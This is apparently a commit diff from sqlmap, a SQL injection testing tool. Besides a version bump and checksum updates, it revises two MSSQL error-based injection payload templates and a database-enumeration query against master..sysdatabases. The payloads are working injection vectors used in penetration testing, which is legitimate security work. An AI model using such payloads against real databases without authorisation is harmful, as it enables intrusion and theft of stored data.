diff --git a/lib/core/settings.py b/lib/core/settings.py
index 9c9bab9c1..e0cdad49c 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.0.10.26"
+VERSION = "1.0.10.27"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/txt/checksum.md5 b/txt/checksum.md5
index 037a832a5..86a33fd05 100644
--- a/txt/checksum.md5
+++ b/txt/checksum.md5
@@ -45,7 +45,7 @@ e60456db5380840a586654344003d4e6  lib/core/readlineng.py
 5ef56abb8671c2ca6ceecb208258e360  lib/core/replication.py
 99a2b496b9d5b546b335653ca801153f  lib/core/revision.py
 7c15dd2777af4dac2c89cab6df17462e  lib/core/session.py
-1b4a3f7d043a8ff800a42e2b5d926303  lib/core/settings.py
+df7fb6dc2b304d6e9bb7ef5c68c661a9  lib/core/settings.py
 7af83e4f18cab6dff5e67840eb65be80  lib/core/shell.py
 23657cd7d924e3c6d225719865855827  lib/core/subprocessng.py
 c3ace7874a536d801f308cf1fd03df99  lib/core/target.py
@@ -449,9 +449,9 @@ fb93505ef0ab3b4a20900f3e5625260d  xml/boundaries.xml
 535d625cff8418bdc086ab4e1bbf5135  xml/errors.xml
 a279656ea3fcb85c727249b02f828383  xml/livetests.xml
 14a2abeb88b00ab489359d0dd7a3017f  xml/payloads/boolean_blind.xml
-a9fdde4fda738a678ad2fa9fb718e833  xml/payloads/error_based.xml
+5a4ec9aaac9129205b88f2a7df9ffb27  xml/payloads/error_based.xml
 06b1a210b190d52477a9d492443725b5  xml/payloads/inline_query.xml
 3194e2688a7576e1f877d5b137f7c260  xml/payloads/stacked_queries.xml
 c2d8dd03db5a663e79eabb4495dd0723  xml/payloads/time_blind.xml
 ac649aff0e7db413e4937e446e398736  xml/payloads/union_query.xml
-1587a02322a96ac48973e782d6fedf73  xml/queries.xml
+397c1fd44a0e3f9ecaec03739a54f16f  xml/queries.xml
diff --git a/xml/payloads/error_based.xml b/xml/payloads/error_based.xml
index 6de3dc7dc..b71971a5d 100644
--- a/xml/payloads/error_based.xml
+++ b/xml/payloads/error_based.xml
@@ -394,9 +394,9 @@
         <risk>1</risk>
         <clause>1,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
+        <vector>AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
         <request>
-            <payload>AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
+            <payload>AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -415,9 +415,9 @@
         <risk>3</risk>
         <clause>1,9</clause>
         <where>2</where>
-        <vector>OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
+        <vector>OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
         <request>
-            <payload>OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
+            <payload>OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
diff --git a/xml/queries.xml b/xml/queries.xml
index b615e6c40..1a4741162 100644
--- a/xml/queries.xml
+++ b/xml/queries.xml
@@ -181,7 +181,7 @@
         <privileges/>
         <roles/>
         <dbs>
-            <inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
+            <inband query="SELECT DISTINCT(name) FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
             <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
         </dbs>
         <tables>